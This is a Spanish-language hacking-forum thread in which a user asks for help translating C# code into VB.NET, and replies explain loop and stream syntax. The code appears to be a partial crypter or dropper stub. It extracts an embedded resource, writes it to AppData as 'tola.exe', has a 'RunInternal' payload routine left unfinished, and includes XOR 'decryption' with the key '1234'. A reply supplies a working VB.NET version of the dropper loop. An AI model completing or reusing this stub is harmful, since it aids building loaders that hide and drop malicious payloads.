elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Píldoras formativas en seguridad de la información


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  Traducir este código a vb.net
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Traducir este código a vb.net  (Leído 1,794 veces)
Borito30


Desconectado Desconectado

Mensajes: 481


Ver Perfil
Traducir este código a vb.net
« en: 5 Junio 2017, 02:29 »

Hola mi pregunta es sobre todo en los for se me hace complicado y en el stream. El completo código sería:
Código
  1. namespace skip
  2. {
  3.    static class Program
  4.    {
  5.        [STAThread]
  6.        static void Main()
  7.        {
  8.            Application.EnableVisualStyles();
  9.            Application.SetCompatibleTextRenderingDefault(false);
  10.            //Application.Run(new Form1());
  11.  
  12.            byte[] file =
  13.  File.ReadAllBytes(System.Reflection.Assembly.GetExecutingAssembly().Location);
  14.  
  15.            var position = PatternAt(file, Encoding.ASCII.GetBytes("BLAUMOLAMUCHO"));
  16.  
  17.            int longitudSeparador = Encoding.ASCII.GetBytes("BLAUMOLAMUCHO").Length;
  18.  
  19.            byte[] encodedBytes = new byte[file.Length - position.First()-longitudSeparador];
  20.            Array.Copy(file, position.First()+ longitudSeparador, encodedBytes, 0, file.Length - position.First()-longitudSeparador);
  21.  
  22.            //ruta del fichero embebido
  23.            string tempPath = System.IO.Path.GetTempPath();
  24.            string appDataPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
  25.            //var stream
  26.            Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("Manifest");
  27.            //Console.WriteLine(stream);
  28.            FileStream fileStream = new FileStream(appDataPath+ @"\tola.exe", FileMode.Create, FileAccess.Write);
  29.            for (int i = 0; i < stream.Length; i++)
  30.                fileStream.WriteByte((byte)stream.ReadByte());
  31.            fileStream.Close();
  32.            RunInternal(appDataPath + @"\tola.exe", "1234");
  33.         }
  34.  
  35.  
  36.  
  37.  
  38.        private static void RunInternal(string exeName, String pass)
  39.        {
  40.            //Verify the Payload exists
  41.            if (!File.Exists(exeName))
  42.                return;
  43.  
  44.            //Read the raw bytes of the file
  45.            byte[] resourcesBuffer = File.ReadAllBytes(exeName);
  46.  
  47.            byte[] decryptedBuffer = resourcesBuffer;
  48.  
  49.  
  50.  
  51.  
  52.            //If .NET executable -> Run
  53.            if (System.Text.Encoding.ASCII.GetString(decryptedBuffer).Contains("</assembly>")) //Esto devuelve false
  54.            {
  55.  
  56.            }
  57.            else
  58.            {
  59.                //Console.WriteLine(Encoding.ASCII.GetString(decryptedBuffer));
  60.               //Console.ReadKey();
  61.            }
  62.  
  63.        }
  64.  
  65.        /// <summary>
  66.        /// Decrypt the Loaded Assembly Bytes
  67.        /// </summary>
  68.        /// <param name="payload"></param>
  69.        /// <returns>Decrypted Bytes</returns>
  70.        /// algoritmo xor
  71.        private static byte[] decryptBytes(byte[] bytes, String pass)
  72.        {
  73.            byte[] XorBytes = Encoding.Unicode.GetBytes(pass);
  74.  
  75.            for (int i = 0; i < bytes.Length; i++)
  76.            {
  77.                bytes[i] ^= XorBytes[i % XorBytes.Length];
  78.            }
  79.  
  80.            return bytes;
  81.        }
  82.    }
  83. }

Por lo menos si no quereis indicarlo enterlo simplemente con los for y el streamer sería suficiente para comprender mejor las diferencias. gracias.


« Última modificación: 5 Junio 2017, 19:40 por Eleкtro » En línea

Estoy en contra del foro libre y la Sección de juegos y consolas (distraen al personal)
NEBIRE


Desconectado Desconectado

Mensajes: 2.272


Ver Perfil
Re: Traducir este código a vb.net
« Respuesta #1 en: 5 Junio 2017, 02:41 »

Un bucle for en C, no es tan distinto de un bucle for en VB... aunque me parece más transparente el de Vb, es cuestión de acostumbrarse...

Desgajo los bucles, así analizas y comparas las partes:
 for (int i = 0; i < bytes.Length; i++)
 For i = 0  to bytes.length step 1 ' en VB si Step =1, se puede omitir...

Un Stream no es distinto en VB que en C.
En el siguiente enlace, verás que los métodos, constructores, etc... son idénticos, solo cambia a veces la sintaxis conforme a cada lenguaje. de hecho pulsa en una sintaxis, y luego en la de VB, para ver las diferencias
https://msdn.microsoft.com/es-es/library/system.io.stream(v=vs.110).aspx?cs-save-lang=1&cs-lang=vb#code-snippet-1

Si el problema es que no entiendes muy bien la clase, debajo de las propiedades y métodos, vienen unos comentarios que te ayudarán a entenderlo mejor.

Y debajo de los comentarios hay un ejemplo (muy escueto) de código en C# y el mismo en VB


En línea

Borito30


Desconectado Desconectado

Mensajes: 481


Ver Perfil
Re: Traducir este código a vb.net
« Respuesta #2 en: 5 Junio 2017, 03:48 »

Esta parte se me hace un poco complicada:

Código:
for (int i = 0; i < stream.Length; i++)
fileStream.WriteByte((byte)stream.ReadByte());
fileStream.Close();

Intente hacer un ejemplo basado en lo que me pasastes:
Código:
Dim stream As Stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("skip.skip.exe")
'Console.WriteLine(stream);
Using outFile As New System.IO.FileStream(appDataPath+"\tola.exe", IO.FileMode.Create, IO.FileAccess.Write)
For i = 0  To stream.length Step 1
outFile.Read((byte)stream.ReadByte())
Next
outFile.Close()
End Using

Pero me da algunos errores:
Código:
'.' expected. (BC30287) -
'Byte' is a type and cannot be used as an expression. (BC30108) -
'inFile' is not declared. It may be inaccessible due to its protection level. (BC30451) -

Por lo que supongo que en:
Código:
outfile.Read((byte)stream.ReadByte())

Varia bastante a como se hace en c#.
« Última modificación: 5 Junio 2017, 13:21 por Ragaza » En línea

Estoy en contra del foro libre y la Sección de juegos y consolas (distraen al personal)
Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.730



Ver Perfil
Re: Traducir este código a vb.net
« Respuesta #3 en: 5 Junio 2017, 20:13 »

Esta parte se me hace un poco complicada:
Código:
Using outFile As New FileStream(...)
outFile.Read((byte)stream.ReadByte())

Pero me da algunos errores:
Código:
'.' expected. (BC30287) -
'Byte' is a type and cannot be used as an expression. (BC30108) -
'inFile' is not declared. It may be inaccessible due to its protection level. (BC30451) -

Por lo que supongo que en:
Código:
outfile.Read((byte)stream.ReadByte())

Varia bastante a como se hace en c#.

En la IDE de Visual Studio, puedes pasar el puntero del ratón por encima del método outfile.Read() y comprobar cual es el tipo de datos que éste acepta como argumento. O puedes usar el Object Inspector de Visual Studio para comprobar lo mismo, o directamente puedes acudir a la MSDN y leer la documentación del método FileStream.Read(). Luego de que lo hayas hecho puedes regresar aquí y decirnos si realmente existe alguna sobrecarga de ese método que acepte un valor de tipo"Byte" como le estás intentando pasar. (es ironia)
Lo que intento decir es que puedes hallar la causa a un problema tan básico tan solo informándote un poquito y sin salirte de la IDE, en vez de tener que escribir una pregunta en un foro... te basta con buscar en la MSDN.

el otro problema es que esta orden la has escrito directamente usando la sintaxis de C#: (Byte)stream.ReadByte(). En VB.NET la conversión sería así: CByte(stream.ReadByte())

Con respecto a este error:
Citar
'inFile' is not declared. It may be inaccessible due to its protection level. (BC30451) -
...Bueno, en el código original que has mostrado no existe ningún miembro llamado "inFile", y no has mostrado su declaración, así que es imposible decirte como corregirlo, pero de todas formas el error se explica por si solo: El miembro "inFile" no está declarado, o no lo has declarado con una accesibilidad que te permita usarlo desde el nivel de accesibilidad del miembro desde el que estás intentando acceder a él.



Todas estas explicaciones de aquí arriba podría habermelas ahorrado y no explicar nada, por que lo cierto es que no tienes que mandar a nadie traducir un código de C# a VB.NET cuando eso puedes hacerlo tú mismo usando cualquier conversor online u offline de .NET, como por ejemplo http://converter.telerik.com/ y, a menos que el conversor producza una traducción de código con errores entonces no veo motivo para formular este tipo de preguntas... (o a menos que quieras comprender y aprender a hacerlo por ti mismo )

Código
  1. Using sr As Stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("Manifest"),
  2.      fs As New FileStream(appDataPath & "\tola.exe", FileMode.Create, FileAccess.Write)
  3.  
  4.    For i As Integer = 0 To CInt(sr.Length - 1)
  5.        fs.WriteByte(CByte(sr.ReadByte()))
  6.    Next i
  7.  
  8. End Using

Como puedes comprobar, si que hay diferencias, la mayor diferencia es que tú estás intentando utilizar la función FileStream.Read() cuando en el código original se utiliza el método FileStream.WriteByte()...

Saludos!
« Última modificación: 5 Junio 2017, 20:21 por Eleкtro » En línea


Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problema al traducir código de jvscript a c#
.NET (C#, VB.NET, ASP)
^^DarK MouL^^ 3 2,054 Último mensaje 28 Marzo 2010, 23:39
por raul338
traducir ensamblador a codigo maquina
ASM
m@o_614 2 2,523 Último mensaje 27 Septiembre 2013, 21:32
por cpu2
[Python-C]Traducir codigo
Scripting
AdeLax 5 5,773 Último mensaje 17 Noviembre 2013, 22:35
por AdeLax
traducir este metodo de python3
Scripting
clay2332xd 4 525 Último mensaje 30 Noviembre 2019, 08:13
por clay2332xd
Traducir este código de C# a Java « 1 2 »
Java
TickTack 15 1,186 Último mensaje 27 Julio 2020, 00:15
por TickTack
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines